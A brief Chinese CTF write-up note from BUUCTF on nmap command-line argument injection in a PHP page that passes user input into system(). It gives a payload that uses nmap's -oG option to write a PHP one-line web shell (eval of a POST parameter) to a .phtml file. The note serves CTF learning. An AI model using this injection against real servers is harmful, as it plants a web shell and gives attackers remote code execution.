知识点：nmap命令行参数注入
-oG #可以实现将命令和结果写到文件
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);//源码的大概形式
传文件上去
‘ <?= @eval($_POST["pd"]);?> -oG pd.phtml ‘
buuctf web write-up 2
原文：https://www.cnblogs.com/vstar-o/p/13390284.html
